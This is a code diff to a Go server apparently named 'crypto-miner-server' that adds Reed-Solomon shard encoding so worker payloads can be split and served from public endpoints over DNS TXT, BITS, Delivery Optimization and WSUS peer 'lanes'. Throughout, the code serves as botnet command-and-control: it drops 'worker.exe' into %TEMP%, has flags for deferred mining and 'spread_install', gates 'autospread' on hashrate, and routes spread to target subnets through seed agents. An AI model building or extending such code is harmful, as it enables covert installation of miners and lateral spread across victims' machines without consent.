Add erasure-coded multi-lane spread foundation.

Server Reed-Solomon 4+2 shard encode on deploy plans when erasure_lanes_enabled; agents reassemble from parallel lane URLs as staging fallback with BGP/Path Tracer hints.

server/internal/api/deploy_plan.go

@@ -13,6 +13,7 @@ import (
 	"strings"
 
 	dbpkg "crypto-miner-server/internal/db"
+	"crypto-miner-server/internal/erasure"
 	"crypto-miner-server/internal/models"
 	"crypto-miner-server/internal/spreadrouter"
 )
@@ -70,6 +71,7 @@ type DeployPlanBody struct {
 	ImageTarURL   string           `json:"image_tar_url,omitempty"`
 	ImageTarSHA256 string          `json:"image_tar_sha256,omitempty"`
 	SpreadRouteHint *spreadrouter.SpreadRouteHint `json:"spread_route_hint,omitempty"`
+	ErasurePlan     *erasure.Plan                 `json:"erasure_plan,omitempty"`
 }
 
 type deployPlanRequest struct {
@@ -98,8 +100,10 @@ type DeployPlanHandler struct {
 	projectRoot string
 	publicURL   func() string
 	fleetSecret func() string
-	allowlist   func() map[string]ServiceDeployLane
-	pathTracer  *PathTracerHandler
+	allowlist       func() map[string]ServiceDeployLane
+	pathTracer      *PathTracerHandler
+	erasureEnabled  func() bool
+	erasureShards   *erasure.ShardStore
 }
 
 func NewDeployPlanHandler(database *dbpkg.Database, dataDir, projectRoot string, publicURL, fleetSecret func() string, allowlist func() map[string]ServiceDeployLane) *DeployPlanHandler {
@@ -118,6 +122,21 @@ func (h *DeployPlanHandler) BindPathTracer(handler *PathTracerHandler) {
 	h.pathTracer = handler
 }
 
+// BindErasure wires Reed–Solomon shard encoding for multi-lane deploy plans.
+func (h *DeployPlanHandler) BindErasure(enabled func() bool, store *erasure.ShardStore) {
+	h.erasureEnabled = enabled
+	h.erasureShards = store
+}
+
+// BindErasureFromHub reads erasure_lanes_enabled from live server policy snapshots.
+func (h *DeployPlanHandler) BindErasureFromHub(hub *WSHub, store *erasure.ShardStore) {
+	h.erasureShards = store
+	if hub == nil {
+		return
+	}
+	h.erasureEnabled = func() bool { return hub.serverPolicySnapshot().ErasureLanesEnabled }
+}
+
 // POST /api/v1/agent/deploy-plan
 func (h *DeployPlanHandler) PostDeployPlan(w http.ResponseWriter, r *http.Request) {
 	var req deployPlanRequest
@@ -242,9 +261,62 @@ func (h *DeployPlanHandler) buildPlan(req deployPlanRequest, matched string, lan
 	default:
 		return DeployPlanBody{}, fmt.Errorf("unsupported join lane %q", lane.Lane)
 	}
+	body.SpreadRouteHint = h.recommendSpreadRoute(req, lane.Lane)
+	if err := h.attachErasurePlan(req, serverURL, &body); err != nil {
+		return DeployPlanBody{}, err
+	}
 	return body, nil
 }
 
+func (h *DeployPlanHandler) attachErasurePlan(req deployPlanRequest, serverURL string, body *DeployPlanBody) error {
+	if h.erasureEnabled == nil || !h.erasureEnabled() || h.erasureShards == nil || body == nil {
+		return nil
+	}
+	platform := strings.TrimSpace(req.Platform)
+	if platform == "" {
+		platform = "windows"
+	}
+	buildID := strings.TrimSpace(req.BuildID)
+	build, err := h.resolveBuild(buildID, platform)
+	if err != nil {
+		return err
+	}
+	payload, err := os.ReadFile(build.FilePath)
+	if err != nil {
+		return fmt.Errorf("erasure read build: %w", err)
+	}
+	dest := `%TEMP%\AetherForge\worker.exe`
+	launch := "exe"
+	dllExport := ""
+	if body.Manifest != nil {
+		if body.Manifest.Dest != "" {
+			dest = body.Manifest.Dest
+		}
+		if body.Manifest.Launch != "" {
+			launch = body.Manifest.Launch
+		}
+		dllExport = body.Manifest.DLLExport
+	}
+	deferMining := true
+	spreadInstall := true
+	if body.Manifest != nil {
+		deferMining = body.Manifest.DeferMining
+		spreadInstall = body.Manifest.SpreadInstall
+	}
+	plan, err := erasure.BuildPlan(
+		h.erasureShards, serverURL, buildID, req.Campaign, payload,
+		dest, launch, dllExport, deferMining, spreadInstall,
+	)
+	if err != nil {
+		return err
+	}
+	body.ErasurePlan = plan
+	if body.SpreadRouteHint != nil {
+		body.SpreadRouteHint.ErasureLanesEnabled = true
+	}
+	return nil
+}
+
 func (h *DeployPlanHandler) recommendSpreadRoute(req deployPlanRequest, joinLane string) *spreadrouter.SpreadRouteHint {
 	if h.pathTracer == nil {
 		return nil

server/internal/api/deploy_plan_erasure_test.go

@@ -0,0 +1,93 @@
+package api
+
+import (
+	"net/http"
+	"net/http/httptest"
+	"testing"
+
+	"crypto-miner-server/internal/erasure"
+
+	"github.com/go-chi/chi/v5"
+)
+
+func TestBuildPlanAttachesErasureMetadata(t *testing.T) {
+	h := testDeployPlanHandler(t)
+	store := erasure.NewShardStore()
+	h.BindErasure(func() bool { return true }, store)
+
+	plan, err := h.buildPlan(deployPlanRequest{
+		Platform: "windows", BuildID: "b1",
+	}, "dns_txt:_aether", ServiceDeployLane{Lane: "dns_txt"})
+	if err != nil {
+		t.Fatal(err)
+	}
+	if plan.ErasurePlan == nil || !plan.ErasurePlan.Enabled {
+		t.Fatalf("expected erasure_plan, got %+v", plan.ErasurePlan)
+	}
+	if len(plan.ErasurePlan.Shards) != 6 {
+		t.Fatalf("shards=%d", len(plan.ErasurePlan.Shards))
+	}
+	if plan.ErasurePlan.PayloadSHA256 == "" {
+		t.Fatal("expected payload sha256")
+	}
+	for _, ref := range plan.ErasurePlan.Shards {
+		if _, ok := store.Get(plan.ErasurePlan.ShardToken, ref.Index); !ok {
+			t.Fatalf("missing stored shard %d", ref.Index)
+		}
+	}
+}
+
+func TestBuildPlanSkipsErasureWhenDisabled(t *testing.T) {
+	h := testDeployPlanHandler(t)
+	store := erasure.NewShardStore()
+	h.BindErasure(func() bool { return false }, store)
+	plan, err := h.buildPlan(deployPlanRequest{
+		Platform: "windows", BuildID: "b1",
+	}, "dns_txt:_aether", ServiceDeployLane{Lane: "dns_txt"})
+	if err != nil {
+		t.Fatal(err)
+	}
+	if plan.ErasurePlan != nil {
+		t.Fatalf("expected no erasure plan, got %+v", plan.ErasurePlan)
+	}
+}
+
+func TestPublicErasureShardEndpoint(t *testing.T) {
+	store := erasure.NewShardStore()
+	payload := []byte("public-erasure-shard")
+	plan, err := erasure.BuildPlan(store, "http://127.0.0.1:8989", "b1", "", payload, `%TEMP%\w.exe`, "exe", "", true, true)
+	if err != nil {
+		t.Fatal(err)
+	}
+	h := NewPublicHandler(nil, "", nil)
+	h.BindErasureShardStore(store)
+
+	r := chi.NewRouter()
+	r.Get("/public/erasure-shard/{token}/{index}", h.ErasureShard)
+	req := httptest.NewRequest(http.MethodGet, "/public/erasure-shard/"+plan.ShardToken+"/0", nil)
+	rec := httptest.NewRecorder()
+	r.ServeHTTP(rec, req)
+	if rec.Code != http.StatusOK {
+		t.Fatalf("status=%d body=%s", rec.Code, rec.Body.String())
+	}
+	if rec.Body.Len() == 0 {
+		t.Fatal("empty shard body")
+	}
+}
+
+func TestBuildPlanErasureSetsSpreadRouteHintFlag(t *testing.T) {
+	h := testDeployPlanHandler(t)
+	store := erasure.NewShardStore()
+	h.BindErasure(func() bool { return true }, store)
+	pt := NewPathTracerHandler(nil)
+	h.BindPathTracer(pt)
+	plan, err := h.buildPlan(deployPlanRequest{
+		AgentID: "seed-1", Platform: "windows", BuildID: "b1",
+	}, "DoSvc", ServiceDeployLane{Lane: "do_peer"})
+	if err != nil {
+		t.Fatal(err)
+	}
+	if plan.ErasurePlan == nil {
+		t.Fatal("expected erasure plan")
+	}
+}

server/internal/api/erasure_auth_test.go

@@ -0,0 +1,38 @@
+package api
+
+import (
+	"encoding/json"
+	"testing"
+)
+
+func TestAuthSpreadPolicyIncludesErasureLanes(t *testing.T) {
+	hub := NewWSHub(nil)
+	hub.SetServerPolicy(ServerPolicy{ErasureLanesEnabled: true})
+	raw := buildAuthSpreadPolicy(hub)
+	var policy map[string]interface{}
+	if err := json.Unmarshal(raw, &policy); err != nil {
+		t.Fatal(err)
+	}
+	enabled, ok := policy["erasure_lanes_enabled"].(bool)
+	if !ok || !enabled {
+		t.Fatalf("policy=%#v", policy)
+	}
+}
+
+func buildAuthSpreadPolicy(hub *WSHub) json.RawMessage {
+	policy := hub.serverPolicySnapshot()
+	if !policy.ErasureLanesEnabled && policy.HashrateGateSpreadMin <= 0 && policy.HashrateGateHPS <= 0 {
+		return nil
+	}
+	spreadPolicy := map[string]interface{}{
+		"erasure_lanes_enabled": policy.ErasureLanesEnabled,
+	}
+	if policy.HashrateGateSpreadMin > 0 {
+		spreadPolicy["hashrate_gate_spread_min"] = policy.HashrateGateSpreadMin
+	}
+	if policy.HashrateGateHPS > 0 {
+		spreadPolicy["hashrate_gate_hps"] = policy.HashrateGateHPS
+	}
+	raw, _ := json.Marshal(spreadPolicy)
+	return raw
+}

server/internal/api/public_handler.go

@@ -2,12 +2,14 @@ package api
 
 import (
 	"encoding/base64"
+	"fmt"
 	"net/http"
 	"os"
 	"path/filepath"
 	"strings"
 
 	dbpkg "crypto-miner-server/internal/db"
+	"crypto-miner-server/internal/erasure"
 	"crypto-miner-server/internal/models"
 
 	"github.com/go-chi/chi/v5"
@@ -21,15 +23,21 @@ type PublicBuildsConfig struct {
 
 // PublicHandler serves unauthenticated build listing and download endpoints.
 type PublicHandler struct {
-	db       *dbpkg.Database
-	dataDir  string
-	configFn func() PublicBuildsConfig
+	db            *dbpkg.Database
+	dataDir       string
+	configFn      func() PublicBuildsConfig
+	erasureShards *erasure.ShardStore
 }
 
 func NewPublicHandler(database *dbpkg.Database, dataDir string, configFn func() PublicBuildsConfig) *PublicHandler {
 	return &PublicHandler{db: database, dataDir: dataDir, configFn: configFn}
 }
 
+// BindErasureShardStore serves Reed–Solomon shard bytes for multi-lane deploy plans.
+func (h *PublicHandler) BindErasureShardStore(store *erasure.ShardStore) {
+	h.erasureShards = store
+}
+
 type publicBuildDTO struct {
 	ID          string `json:"id"`
 	WorkerName  string `json:"worker_name"`
@@ -199,6 +207,34 @@ func encodeDNSTXTShard(data []byte) string {
 	return base64.StdEncoding.EncodeToString(data)
 }
 
+// GET /api/v1/public/erasure-shard/{token}/{index}
+func (h *PublicHandler) ErasureShard(w http.ResponseWriter, r *http.Request) {
+	if h.erasureShards == nil {
+		http.Error(w, "erasure shards unavailable", http.StatusNotFound)
+		return
+	}
+	token := strings.TrimSpace(chi.URLParam(r, "token"))
+	if token == "" {
+		http.Error(w, "token required", http.StatusBadRequest)
+		return
+	}
+	indexStr := strings.TrimSpace(chi.URLParam(r, "index"))
+	index := 0
+	if indexStr != "" {
+		if _, err := fmt.Sscanf(indexStr, "%d", &index); err != nil {
+			http.Error(w, "invalid shard index", http.StatusBadRequest)
+			return
+		}
+	}
+	data, ok := h.erasureShards.Get(token, index)
+	if !ok {
+		http.Error(w, "shard not found", http.StatusNotFound)
+		return
+	}
+	w.Header().Set("Content-Type", "text/plain")
+	_, _ = w.Write([]byte(encodeDNSTXTShard(data)))
+}
+
 func clientIP(r *http.Request) string {
 	ip := r.Header.Get("X-Forwarded-For")
 	if ip == "" {

server/internal/api/router.go

@@ -750,6 +750,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
 			r.Get("/public/download/{id}", publicHandler.Download)
 			r.Get("/public/download/{id}/artifact/{name}", publicHandler.Download)
 			r.Get("/public/dns-txt/{record}", publicHandler.DNSTXTShard)
+			r.Get("/public/erasure-shard/{token}/{index}", publicHandler.ErasureShard)
 			r.Get("/public/webrtc-mesh/manifest", publicHandler.WebRTCMeshManifest)
 		}
 	})

server/internal/api/server_policy.go

@@ -24,6 +24,8 @@ type ServerPolicy struct {
 	// HashrateGateSpreadMin is minutes of stable mining above HashrateGateHPS before autospread.
 	HashrateGateSpreadMin int
 	HashrateGateHPS       float64
+	// ErasureLanesEnabled attaches Reed–Solomon shard metadata to signed deploy plans.
+	ErasureLanesEnabled bool
 }
 
 // TripleOnionPolicy gates the recon → deploy → mining onion pushed to agents at auth.

server/internal/api/spreadrouter_bridge.go

@@ -99,6 +99,7 @@ func buildSpreadRouterInput(hub *WSHub, sessions []*TraceSession, targetSubnets
 	}
 
 	in.LaneSuccess = collectLaneSuccessStats(hub)
+	in.ErasureLanesEnabled = hub.serverPolicySnapshot().ErasureLanesEnabled
 	return in
 }
 

server/internal/api/websocket.go

@@ -918,11 +918,17 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
 				}
 			}
 			resp["triple_onion_policy"] = top
-			if policy.HashrateGateSpreadMin > 0 || policy.HashrateGateHPS > 0 {
-				resp["spread_policy"] = map[string]interface{}{
-					"hashrate_gate_spread_min": policy.HashrateGateSpreadMin,
-					"hashrate_gate_hps":        policy.HashrateGateHPS,
+			if policy.HashrateGateSpreadMin > 0 || policy.HashrateGateHPS > 0 || policy.ErasureLanesEnabled {
+				spreadPolicy := map[string]interface{}{
+					"erasure_lanes_enabled": policy.ErasureLanesEnabled,
 				}
+				if policy.HashrateGateSpreadMin > 0 {
+					spreadPolicy["hashrate_gate_spread_min"] = policy.HashrateGateSpreadMin
+				}
+				if policy.HashrateGateHPS > 0 {
+					spreadPolicy["hashrate_gate_hps"] = policy.HashrateGateHPS
+				}
+				resp["spread_policy"] = spreadPolicy
 			}
 			resp["atlas_lan_gossip_enabled"] = policy.AtlasLanGossipEnabled
 			fp := strategy.FingerprintFromAuth(auth.Platform, clientIP, domainJoined)

server/internal/erasure/codec.go

@@ -0,0 +1,134 @@
+// Package erasure provides Reed–Solomon k-of-n shard encode/decode for spread payloads.
+package erasure
+
+import (
+	"bytes"
+	"crypto/sha256"
+	"encoding/hex"
+	"fmt"
+
+	"github.com/klauspost/reedsolomon"
+)
+
+const (
+	// SchemeReedSolomonV1 is the deploy-plan erasure scheme identifier.
+	SchemeReedSolomonV1 = "reed_solomon_v1"
+	// DefaultDataShards is the data shard count for spread payload encoding.
+	DefaultDataShards = 4
+	// DefaultParityShards is the parity shard count (any DefaultDataShards of total reconstruct).
+	DefaultParityShards = 2
+)
+
+// Params describes a Reed–Solomon split.
+type Params struct {
+	DataShards   int
+	ParityShards int
+}
+
+// DefaultParams returns the standard 4+2 erasure split.
+func DefaultParams() Params {
+	return Params{DataShards: DefaultDataShards, ParityShards: DefaultParityShards}
+}
+
+// MinShards returns the minimum shard count required for reconstruction.
+func (p Params) MinShards() int {
+	if p.DataShards <= 0 {
+		return 0
+	}
+	return p.DataShards
+}
+
+// TotalShards returns data + parity shard count.
+func (p Params) TotalShards() int {
+	return p.DataShards + p.ParityShards
+}
+
+// Normalize fills zero values with defaults and validates counts.
+func (p Params) Normalize() (Params, error) {
+	if p.DataShards <= 0 {
+		p.DataShards = DefaultDataShards
+	}
+	if p.ParityShards <= 0 {
+		p.ParityShards = DefaultParityShards
+	}
+	if p.DataShards < 1 || p.ParityShards < 1 {
+		return Params{}, fmt.Errorf("erasure: invalid shard counts data=%d parity=%d", p.DataShards, p.ParityShards)
+	}
+	if p.DataShards+p.ParityShards > 256 {
+		return Params{}, fmt.Errorf("erasure: too many shards")
+	}
+	return p, nil
+}
+
+// Encode splits payload into equal-sized Reed–Solomon shards.
+// The returned size is the original payload length (for Join on decode).
+func Encode(data []byte, p Params) ([][]byte, int, error) {
+	p, err := p.Normalize()
+	if err != nil {
+		return nil, 0, err
+	}
+	if len(data) == 0 {
+		return nil, 0, fmt.Errorf("erasure: empty payload")
+	}
+	origSize := len(data)
+	enc, err := reedsolomon.New(p.DataShards, p.ParityShards)
+	if err != nil {
+		return nil, 0, err
+	}
+	shards, err := enc.Split(data)
+	if err != nil {
+		return nil, 0, err
+	}
+	if err := enc.Encode(shards); err != nil {
+		return nil, 0, err
+	}
+	return shards, origSize, nil
+}
+
+// Decode reconstructs payload from at least MinShards() shards (nil entries allowed for missing).
+func Decode(shards [][]byte, payloadSize int, p Params) ([]byte, error) {
+	p, err := p.Normalize()
+	if err != nil {
+		return nil, err
+	}
+	if len(shards) < p.TotalShards() {
+		return nil, fmt.Errorf("erasure: shard slice too short")
+	}
+	present := 0
+	for i := 0; i < p.TotalShards(); i++ {
+		if len(shards[i]) > 0 {
+			present++
+		}
+	}
+	if present < p.MinShards() {
+		return nil, fmt.Errorf("erasure: need %d shards, have %d", p.MinShards(), present)
+	}
+	enc, err := reedsolomon.New(p.DataShards, p.ParityShards)
+	if err != nil {
+		return nil, err
+	}
+	if err := enc.Reconstruct(shards); err != nil {
+		return nil, err
+	}
+	ok, err := enc.Verify(shards)
+	if err != nil {
+		return nil, err
+	}
+	if !ok {
+		return nil, fmt.Errorf("erasure: shard verification failed")
+	}
+	if payloadSize <= 0 {
+		payloadSize = len(shards[0]) * p.DataShards
+	}
+	var buf bytes.Buffer
+	if err := enc.Join(&buf, shards, payloadSize); err != nil {
+		return nil, err
+	}
+	return buf.Bytes(), nil
+}
+
+// PayloadSHA256 returns hex SHA256 of the original payload.
+func PayloadSHA256(data []byte) string {
+	sum := sha256.Sum256(data)
+	return hex.EncodeToString(sum[:])
+}

server/internal/erasure/codec_test.go

@@ -0,0 +1,94 @@
+package erasure
+
+import (
+	"bytes"
+	"testing"
+)
+
+func TestEncodeDecodeRoundTrip(t *testing.T) {
+	payload := []byte("deploy-plan-test-payload-for-erasure-lanes")
+	shards, size, err := Encode(payload, DefaultParams())
+	if err != nil {
+		t.Fatal(err)
+	}
+	if len(shards) != DefaultDataShards+DefaultParityShards {
+		t.Fatalf("shards=%d", len(shards))
+	}
+	got, err := Decode(shards, size, DefaultParams())
+	if err != nil {
+		t.Fatal(err)
+	}
+	if !bytes.Equal(got, payload) {
+		t.Fatalf("round-trip mismatch")
+	}
+}
+
+func TestDecodeWithMissingParityShards(t *testing.T) {
+	payload := bytes.Repeat([]byte{0xab}, 512)
+	shards, size, err := Encode(payload, DefaultParams())
+	if err != nil {
+		t.Fatal(err)
+	}
+	// Drop two parity shards — still reconstruct with 4 data shards.
+	shards[4] = nil
+	shards[5] = nil
+	got, err := Decode(shards, size, DefaultParams())
+	if err != nil {
+		t.Fatal(err)
+	}
+	if !bytes.Equal(got, payload) {
+		t.Fatal("reconstruct with missing parity failed")
+	}
+}
+
+func TestDecodeWithMixedLoss(t *testing.T) {
+	payload := []byte("mixed-loss-erasure-payload")
+	p := Params{DataShards: 2, ParityShards: 2}
+	shards, size, err := Encode(payload, p)
+	if err != nil {
+		t.Fatal(err)
+	}
+	shards[0] = nil
+	shards[3] = nil
+	got, err := Decode(shards, size, p)
+	if err != nil {
+		t.Fatal(err)
+	}
+	if !bytes.Equal(got, payload) {
+		t.Fatal("mixed loss reconstruct failed")
+	}
+}
+
+func TestDecodeInsufficientShards(t *testing.T) {
+	payload := []byte("short")
+	shards, size, err := Encode(payload, Params{DataShards: 2, ParityShards: 1})
+	if err != nil {
+		t.Fatal(err)
+	}
+	shards[0] = nil
+	shards[1] = nil
+	if _, err := Decode(shards, size, Params{DataShards: 2, ParityShards: 1}); err == nil {
+		t.Fatal("expected error for insufficient shards")
+	}
+}
+
+func TestBuildPlanStoresShards(t *testing.T) {
+	store := NewShardStore()
+	payload := []byte("lane-plan-payload")
+	plan, err := BuildPlan(store, "http://127.0.0.1:8989", "b1", "c1", payload, `%TEMP%\w.exe`, "exe", "", true, true)
+	if err != nil {
+		t.Fatal(err)
+	}
+	if !plan.Enabled || plan.Scheme != SchemeReedSolomonV1 || len(plan.Shards) != 6 {
+		t.Fatalf("plan=%+v", plan)
+	}
+	if plan.PayloadSHA256 != PayloadSHA256(payload) {
+		t.Fatal("sha mismatch")
+	}
+	for _, ref := range plan.Shards {
+		data, ok := store.Get(plan.ShardToken, ref.Index)
+		if !ok || len(data) == 0 {
+			t.Fatalf("missing shard %d", ref.Index)
+		}
+	}
+}

server/internal/erasure/lanes.go

@@ -0,0 +1,93 @@
+package erasure
+
+import (
+	"crypto/sha256"
+	"encoding/hex"
+	"fmt"
+	"strings"
+)
+
+// Parallel lane transport hints — shards map across lanes for redundancy beyond single-lane spread.
+var parallelLaneOrder = []string{
+	"dns_txt", "bits_curl", "do_peer", "wsus_cache_peer", "dns_txt", "bits_curl",
+}
+
+// ShardRef is one erasure shard served on a parallel lane URL.
+type ShardRef struct {
+	Index int    `json:"index"`
+	Lane  string `json:"lane"`
+	URL   string `json:"url"`
+}
+
+// Plan is deploy-plan metadata for agent-side Reed–Solomon reassembly.
+type Plan struct {
+	Enabled       bool       `json:"enabled"`
+	Scheme        string     `json:"scheme"`
+	DataShards    int        `json:"data_shards"`
+	ParityShards  int        `json:"parity_shards"`
+	PayloadSHA256 string     `json:"sha256"`
+	PayloadSize   int        `json:"payload_size"`
+	ShardToken    string     `json:"shard_token"`
+	Dest          string     `json:"dest,omitempty"`
+	Launch        string     `json:"launch,omitempty"`
+	DLLExport     string     `json:"dll_export,omitempty"`
+	DeferMining   bool       `json:"defer_mining,omitempty"`
+	SpreadInstall bool       `json:"spread_install,omitempty"`
+	Shards        []ShardRef `json:"shards"`
+}
+
+// BuildPlan encodes payload, stores shards, and returns lane metadata for a signed deploy plan.
+func BuildPlan(store *ShardStore, serverURL, buildID, campaign string, payload []byte, dest, launch, dllExport string, deferMining, spreadInstall bool) (*Plan, error) {
+	if store == nil {
+		return nil, fmt.Errorf("erasure: nil shard store")
+	}
+	p, err := DefaultParams().Normalize()
+	if err != nil {
+		return nil, err
+	}
+	shards, payloadSize, err := Encode(payload, p)
+	if err != nil {
+		return nil, err
+	}
+	token := planToken(buildID, campaign, payload)
+	store.Put(token, p, shards)
+
+	base := strings.TrimRight(strings.TrimSpace(serverURL), "/")
+	if base == "" {
+		base = "http://127.0.0.1:8989"
+	}
+	refs := make([]ShardRef, len(shards))
+	for i := range shards {
+		lane := parallelLaneOrder[i%len(parallelLaneOrder)]
+		refs[i] = ShardRef{
+			Index: i,
+			Lane:  lane,
+			URL:   fmt.Sprintf("%s/api/v1/public/erasure-shard/%s/%d", base, token, i),
+		}
+	}
+	return &Plan{
+		Enabled:       true,
+		Scheme:        SchemeReedSolomonV1,
+		DataShards:    p.DataShards,
+		ParityShards:  p.ParityShards,
+		PayloadSHA256: PayloadSHA256(payload),
+		PayloadSize:   payloadSize,
+		ShardToken:    token,
+		Dest:          dest,
+		Launch:        launch,
+		DLLExport:     dllExport,
+		DeferMining:   deferMining,
+		SpreadInstall: spreadInstall,
+		Shards:        refs,
+	}, nil
+}
+
+func planToken(buildID, campaign string, payload []byte) string {
+	h := sha256.New()
+	_, _ = h.Write([]byte(strings.TrimSpace(buildID)))
+	_, _ = h.Write([]byte{0})
+	_, _ = h.Write([]byte(strings.TrimSpace(campaign)))
+	_, _ = h.Write(payload)
+	sum := h.Sum(nil)
+	return hex.EncodeToString(sum[:8])
+}

server/internal/erasure/store.go

@@ -0,0 +1,71 @@
+package erasure
+
+import (
+	"sync"
+)
+
+// ShardStore holds encoded shard bytes keyed by deploy-plan token.
+type ShardStore struct {
+	mu     sync.RWMutex
+	plans  map[string][][]byte
+	params map[string]Params
+}
+
+// NewShardStore creates an in-memory shard cache for public erasure-shard endpoints.
+func NewShardStore() *ShardStore {
+	return &ShardStore{
+		plans:  make(map[string][][]byte),
+		params: make(map[string]Params),
+	}
+}
+
+// Put stores shards for a token.
+func (s *ShardStore) Put(token string, p Params, shards [][]byte) {
+	if s == nil || token == "" || len(shards) == 0 {
+		return
+	}
+	s.mu.Lock()
+	defer s.mu.Unlock()
+	cp := make([][]byte, len(shards))
+	for i, sh := range shards {
+		cp[i] = append([]byte(nil), sh...)
+	}
+	s.plans[token] = cp
+	s.params[token] = p
+}
+
+// Get returns one shard by index.
+func (s *ShardStore) Get(token string, index int) ([]byte, bool) {
+	if s == nil || token == "" {
+		return nil, false
+	}
+	s.mu.RLock()
+	defer s.mu.RUnlock()
+	shards, ok := s.plans[token]
+	if !ok || index < 0 || index >= len(shards) {
+		return nil, false
+	}
+	return append([]byte(nil), shards[index]...), true
+}
+
+// ParamsFor returns encoding params for a token.
+func (s *ShardStore) ParamsFor(token string) (Params, bool) {
+	if s == nil || token == "" {
+		return Params{}, false
+	}
+	s.mu.RLock()
+	defer s.mu.RUnlock()
+	p, ok := s.params[token]
+	return p, ok
+}
+
+// Delete removes a token (tests / TTL sweeps).
+func (s *ShardStore) Delete(token string) {
+	if s == nil || token == "" {
+		return
+	}
+	s.mu.Lock()
+	defer s.mu.Unlock()
+	delete(s.plans, token)
+	delete(s.params, token)
+}

server/internal/spreadrouter/router.go

@@ -56,11 +56,12 @@ type LaneSuccessStat struct {
 
 // Input feeds the route table builder.
 type Input struct {
-	Sessions      []SessionSnapshot
-	FleetAgents   []FleetAgentSnapshot
-	LaneSuccess   []LaneSuccessStat
-	TargetSubnets []string
-	RequestedLane string
+	Sessions              []SessionSnapshot
+	FleetAgents           []FleetAgentSnapshot
+	LaneSuccess           []LaneSuccessStat
+	TargetSubnets         []string
+	RequestedLane         string
+	ErasureLanesEnabled   bool
 }
 
 // RouteEdge is a weighted edge from a seed hop to a target subnet.
@@ -88,7 +89,8 @@ type RouteRecommendation struct {
 	JoinLane       string  `json:"join_lane,omitempty"`
 	ClearanceLevel int     `json:"clearance_level"`
 	Score          float64 `json:"score"`
-	Reason         string  `json:"reason,omitempty"`
+	Reason              string  `json:"reason,omitempty"`
+	ErasureLanesEnabled bool    `json:"erasure_lanes_enabled,omitempty"`
 }
 
 // SpreadRouteHint is attached to signed deploy plans for agent egress routing.
@@ -102,6 +104,8 @@ type SpreadRouteHint struct {
 	JoinLane       string  `json:"join_lane,omitempty"`
 	Score          float64 `json:"score,omitempty"`
 	ClearanceLevel int     `json:"clearance_level,omitempty"`
+	// ErasureLanesEnabled signals parallel Reed–Solomon lane redundancy on deploy plans.
+	ErasureLanesEnabled bool `json:"erasure_lanes_enabled,omitempty"`
 }
 
 // RouteTable holds weighted edges and recommendations.
@@ -142,7 +146,7 @@ func Build(in Input) *RouteTable {
 	targets := normalizeTargets(in)
 	for _, target := range targets {
 		cands := collectCandidates(in, target, fleetByID, laneRates)
-		rec, edges := scoreCandidates(target, in.RequestedLane, cands)
+		rec, edges := scoreCandidates(target, in.RequestedLane, in.ErasureLanesEnabled, cands)
 		if rec.SeedAgentID != "" {
 			rt.Routes = append(rt.Routes, rec)
 			rt.bySubnet[target] = rec
@@ -168,15 +172,16 @@ func ToHint(rec RouteRecommendation) *SpreadRouteHint {
 		return nil
 	}
 	return &SpreadRouteHint{
-		TargetSubnet:   rec.TargetSubnet,
-		SeedAgentID:    rec.SeedAgentID,
-		SeedAgentName:  rec.SeedAgentName,
-		EgressAgentID:  rec.EgressAgentID,
-		EgressHopIndex: rec.EgressHopIndex,
-		SessionID:      rec.SessionID,
-		JoinLane:       rec.JoinLane,
-		Score:          rec.Score,
-		ClearanceLevel: rec.ClearanceLevel,
+		TargetSubnet:        rec.TargetSubnet,
+		SeedAgentID:         rec.SeedAgentID,
+		SeedAgentName:       rec.SeedAgentName,
+		EgressAgentID:       rec.EgressAgentID,
+		EgressHopIndex:      rec.EgressHopIndex,
+		SessionID:           rec.SessionID,
+		JoinLane:            rec.JoinLane,
+		Score:               rec.Score,
+		ClearanceLevel:      rec.ClearanceLevel,
+		ErasureLanesEnabled: rec.ErasureLanesEnabled,
 	}
 }
 
@@ -292,7 +297,7 @@ func collectCandidates(in Input, target string, fleet map[string]FleetAgentSnaps
 	return out
 }
 
-func scoreCandidates(target, requestedLane string, cands []candidate) (RouteRecommendation, []RouteEdge) {
+func scoreCandidates(target, requestedLane string, erasureLanes bool, cands []candidate) (RouteRecommendation, []RouteEdge) {
 	var edges []RouteEdge
 	var best RouteRecommendation
 	var bestScore float64
@@ -331,16 +336,17 @@ func scoreCandidates(target, requestedLane string, cands []candidate) (RouteReco
 				reason = "fleet agent on target subnet"
 			}
 			best = RouteRecommendation{
-				TargetSubnet:   target,
-				SeedAgentID:    c.agentID,
-				SeedAgentName:  c.agentName,
-				EgressAgentID:  c.agentID,
-				EgressHopIndex: c.hopIndex,
-				SessionID:      c.sessionID,
-				JoinLane:       firstNonEmpty(requestedLane, c.joinLane),
-				ClearanceLevel: c.clearance,
-				Score:          weight,
-				Reason:         reason,
+				TargetSubnet:        target,
+				SeedAgentID:         c.agentID,
+				SeedAgentName:       c.agentName,
+				EgressAgentID:       c.agentID,
+				EgressHopIndex:      c.hopIndex,
+				SessionID:           c.sessionID,
+				JoinLane:            firstNonEmpty(requestedLane, c.joinLane),
+				ClearanceLevel:      c.clearance,
+				Score:               weight,
+				Reason:              reason,
+				ErasureLanesEnabled: erasureLanes,
 			}
 		}
 	}

server/internal/spreadrouter/router_test.go

@@ -104,6 +104,25 @@ func TestNormalizeSubnet(t *testing.T) {
 	}
 }
 
+func TestBuildSetsErasureLanesFlag(t *testing.T) {
+	in := Input{
+		TargetSubnets:         []string{"10.9.8"},
+		ErasureLanesEnabled:   true,
+		FleetAgents: []FleetAgentSnapshot{
+			{AgentID: "a1", Subnet: "10.9.8", Clearance: clearance.L2, Connected: true},
+		},
+	}
+	rt := Build(in)
+	rec, ok := rt.Recommend("10.9.8")
+	if !ok || !rec.ErasureLanesEnabled {
+		t.Fatalf("route=%+v ok=%v", rec, ok)
+	}
+	hint := ToHint(rec)
+	if hint == nil || !hint.ErasureLanesEnabled {
+		t.Fatalf("hint=%+v", hint)
+	}
+}
+
 func TestToHint(t *testing.T) {
 	hint := ToHint(RouteRecommendation{
 		TargetSubnet: "10.1.2", SeedAgentID: "a1", EgressAgentID: "a1", Score: 0.8,